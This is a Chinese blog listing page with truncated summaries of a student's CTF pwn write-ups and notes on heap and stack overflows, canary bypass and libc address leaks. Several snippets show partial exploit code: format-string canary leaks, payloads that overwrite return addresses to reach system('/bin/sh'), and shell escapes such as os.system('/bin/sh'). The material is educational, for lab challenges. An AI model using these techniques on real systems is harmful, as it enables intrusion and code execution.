自定义博客皮肤VIP专享

*博客头图:

格式为PNG、JPG,宽度*高度大于1920*100像素,不超过2MB,主视觉建议放在右侧,请参照线上博客头图

请上传大于1920*100像素的图片!

博客底图:

图片格式为PNG、JPG,不超过1MB,可上下左右平铺至整个背景

栏目图:

图片格式为PNG、JPG,图片宽度*高度为300*38像素,不超过0.5MB

主标题颜色:

RGB颜色,例如:#AFAFAF

Hover:

RGB颜色,例如:#AFAFAF

副标题颜色:

RGB颜色,例如:#AFAFAF

自定义博客皮肤

-+
  • 博客(28)
  • 收藏
  • 关注

原创 your_pwn

your_pwn溢出点在图的循环中,通过输入v1,可以任意打印栈上的内容,通过输入v2,可以实现向栈上写,每次只能写一个字节,即8bit。通过漏洞打印出ret地址,得到代码段的基址,然后通过puts打印出puts_got,泄露出libc的地址,然后构造system("/bin/sh")的payload,然后getshellfrom pwn import *context.log_l...

2019-05-04 19:52:12 609

原创 pwn dice_game

dice_game又是seedfrom pwn import *from ctypes import * context.log_level='debug'libc = cdll.LoadLibrary("libc.so.6")p = process('./dice_game') #p = remote("111.198.29.45",56813)p.recvuntil(" ...

2019-05-02 17:31:13 494

原创 最简单的*ctf-PWN

babyshell给的提示是 a easy shellcode所以可以思考就是要写入shellcode来看一下ida里面的情况根据逻辑,只要让函数return 1,这样的话指针指向buf,buf里面写shellcode就会正常执行了所以,这里要先进循环,然后截断使他可以return 1,然后下面写shellcode这里用什么字符让他进入循环,并且可以使shellcode被正...

2019-05-02 09:50:15 777

原创 Misc

签到一看到第一反应是base64走到这一步以后,想想格式应该是ssctf{},所以想到应该是凯撒密码试试https://www.qqxiuzi.cn/bianma/kaisamima.php密码就那么几种,栅栏密码试试https://www.qqxiuzi.cn/bianma/zhalanmima.php出来了...

2019-04-25 10:34:03 197

原创 堆溢出

原理堆溢出是指程序向某个堆块中写入的字节数超过了堆块本身可使用的字节数(之所以是可使用而不是用户申请的字节数,是因为堆管理器会对用户所申请的字节数进行调整,这也导致可利用的字节数都不小于用户申请的字节数),因而导致了数据溢出,并覆盖到物理相邻的高地址的下一个堆块。不难发现,堆溢出漏洞发生的基本前提是1、程序向堆上写入数据。2、写入的数据大小没有被良好地控制。思路主要是1、覆盖与其物...

2019-04-23 20:56:40 3146

原创 萌新入坑(6)

mary_morton(格式化字符串漏洞+栈溢出)v3=2时格式化字符串漏洞泄漏canarycanary泄漏p.sendline("2")p.sendline("%23$p")p.recvuntil("0x")cannary = p.recv(16)cannary = p64(int("0x"+cannary,16))栈溢出p.sendline("1")payload...

2019-04-19 20:32:22 190

原创 萌新入坑(5)

forgot根据提示应该是在case4break的,把那个位置的地址利用v12的数组越界覆盖位后门函数的地址,看上面的图有提示停在dot,dot表示点,第四句46是点的ascall码,所以应该在四停,核心的逻辑也没推出来,要头秃了,所以简单来说是栈溢出,算出v12到第二个函数地址,那个位置写后门函数exp如下from pwn import *context.log_level =...

2019-04-19 19:41:59 112

原创 萌新入坑(4)

echo栈溢出咯~~~这个题目出题人有毒,远程没有flag.txt文件,只有flag文件,所以远程拿不到 flag,真是烦

2019-04-19 19:28:27 114

原创 萌新入坑(3)

jsshell-linux-x86_64js语言,写个exp,运行一下 os.system('/bin/sh')可以了

2019-04-17 20:49:45 98

原创 萌新入坑(2)

LUA根本就不是一个可执行程序,查一下居然是lua语言,写个exp执行一下,了解一下lua语言from pwn import *p = remote("111.198.29.45",32577) p.interactive()直接用os.execute("cat flag")可以了...

2019-04-17 01:30:51 119

原创 泄漏地址总结(Dynelf & LibcSearcher)

Dynelf泄漏modeul32位p = process('./xxx')def leak(address): #address指要泄露的地址 #各种预处理 payload = "xxxxxxxx" + address + "xxxxxxxx" p.send(payload) #各种处理 data = p.recv(4) log.debug("%#x => %...

2019-04-16 12:35:17 2611

原创 萌新入坑——pwn(1)

stack2

2019-04-16 11:02:12 328

原创 SUSCTF

Crypto哈夫曼树构造根据flag格式试着去构造1100011111000100001101000000101111010111101001000101011101101011100111000011001111110111101011111101100101111001110100100111011...

2019-04-14 00:48:49 448

原创 攻防世界pwn(4)

int_overflowlevel3

2019-04-12 20:45:47 643

原创 攻防世界——pwn(3)

guess_numseed和rand的知识点就是一个伪生成随机数的东西要用ctypes倒入这个库才能用rand理一下思路,利用v7覆盖seed[0],使seed[0]已知,然后循环,然后直接拿flag就好了expfrom pwn import * from ctypes import * #倒入了可以去找libc库context.log_level = 'debug' p =...

2019-04-11 00:36:13 860

原创 攻防世界——pwn(2)

hello_pwn只有NX哟没啥好说的,填充然后让60106c的位置为1853186401就可以啦直接上expfrom pwn import *p = process("./hello_pwn")p.recvuntil('lets get helloworld for bof\n')payload = "A"*4 + p64(1853186401)p.send(payl...

2019-04-09 10:22:26 1312

原创 攻防世界——pwn(1)

get_shell

2019-04-08 00:55:58 2855

原创 Crypto

first of all,作为一只没有系统了解pwn的小白,第一次做密码,感觉是,题目名字特别重要,就是可以找到很多线索,这个真的深有体会,po两道我做了的,很容易的密码题,纪念一下我昨天的感受贝斯家族三兄弟4A5A43554B4D4B524B524958555453554B55594643325353495648454B534A524A5656464551324F4B5245544154...

2019-04-07 23:50:52 694

原创 西湖论剑——pwn

pwn这道题目开了canary,和之前的套路相似,就是要泄露canary,利用栈溢出找到system和/bin/sh,拿到访问权限看一下函数printf存在格式化字符串漏洞可以用于泄漏canaryp.sendlineafter("ID:","%15$p") #不解释了这个要打印的是第十五个参数,也就是canary的值p.recvuntil("Hello ")#输出hello之后...

2019-04-07 21:13:02 537

原创 攻防世界萌新入门(1)

cgpwn2首先查看一下开心的萌新题目,只开了nx嘻嘻嘻嘻嘻嘻嘻只有hello()函数需要看看程序里边儿就有system函数可以直接调用哈哈哈哈不过没有“/bin/sh”的字符串,所以要写进去,要写到bss,怎么写呢,我记得原来只用过read,这里有fgets,点进去看到name是一个全局变量,在bss利用这个把/bin/sh写进去,然后,利用gets函数覆盖返回地址到syst...

2019-04-07 19:50:18 2471

原创 PWN:Canary学习2

PWN:Stein:Gate套路操作开了canary,是64位的RELRO开是开了不过这题目里面没影响,据说是got表不能再更改了,不清楚会咋样,下次碰到题目再说ida看看进sub_400AF1看到,他的unk_602040在bss上,正好,里面有system函数,把/bin/sh写到bss里面,然后调用system看到rdi了,那个就是用来给system传参数pop_rdi=...

2019-04-05 16:23:49 440

原创 Pwn题——canary

canary嘤嘤,不仅NX打开了,栈里面还有canary,这是什么鬼。。。。。Canary保护机制的原理,是在一个函数入口处从fs段内获取一个随机值,一般存到EBP - 0x4(32位)或RBP - 0x8(64位)的位置。如果攻击者利用栈溢出修改到了这个值,导致该值与存入的值不一致,__stack_chk_fail函数将抛出异常并退出程序。Canary最高字节一般是\x00,防止由于其他...

2019-04-03 09:31:58 1789 3

原创 Babysc和Handsomeariis

Babyscfile一下发现这是个64位的动态文件,拖进64位ida看看并不清楚为什么,这道神奇的题目没有办法反编译!!!只有他不可以,handsomeariis是可以反编译的。。好的既然这样。。那就只能可怜兮兮的看汇编语言了~~~~看到有read函数,读入之后他进行了倒序,没看到哪里溢出。。。这里我们考虑直接利用shellcode,汇编语言可以看出来这里把输入的字符串数组值即s[i]...

2019-03-18 21:20:48 139

原创 PWN200学习

本次的任务还是栈溢出惹,按照pwn100的学习经验,首先file pwn200,看到文件是32位的这样就可以把文件放进32位ida反编译了,查看里面的buf大小大概108,但是read函数要写入大小有大概256,因此会出现栈溢出,好的就是这样。另外我们看到getflag函数,里面首先有一个cat flag,但是找不到flag文件,后来才知道,又要自己写flag。。。。。。,另外retu...

2019-02-12 23:43:22 477

原创 Python任务

通过Python的网络连接来开发一个基础的端口扫描**端口扫描是指某些别有用心的人发送一组端口扫描消息,试图以此侵入某台计算机,并了解其提供的计算机网络服务类型(这些网络服务均与端口号相关)。**端口扫描是计算机解密高手喜欢的一种方式。攻击者可以通过它了解到从哪里可探寻到攻击弱点。实质上,端口扫描包括向每个端口发送消息,一次只发送一个消息。接收到的回应类型表示是否在使用该端口并且可由此探寻弱点。...

2019-02-05 01:57:13 228

原创 任务三 Pwn100任务

gdbhttps://blog.csdn.net/zdy0_2004/article/details/80102076内容很详细 编译带调试信息的可执行程序:用gcc(g++)编译的时候带上-g选项即可 启动GDB开始调试(1)gdb program ///最常用的用gdb启动程序,开始调试的方式(2)gdb program core ///用gdb...

2019-02-04 22:57:00 1474

原创 Python入坑

代码。。。。

2018-12-31 01:57:23 148

原创 pwn学习任务(二)

PWN学习任务(二)Python字符串处理zio库用法pwntools库用法学习使用socat开端口运行程序掌握ida远程调试方法pwn题目远程调试的运行Python字符串处理撤销:Ctrl/Command + Z重做:Ctrl/Command + Y加粗:Ctrl/Command + B斜体:Ctrl/Command + I标题:Ctrl/Command + Shif...

2018-12-31 00:46:34 1421 1

空空如也

空空如也

TA创建的收藏夹 TA关注的收藏夹

TA关注的人

提示
确定要删除当前文章?
取消 删除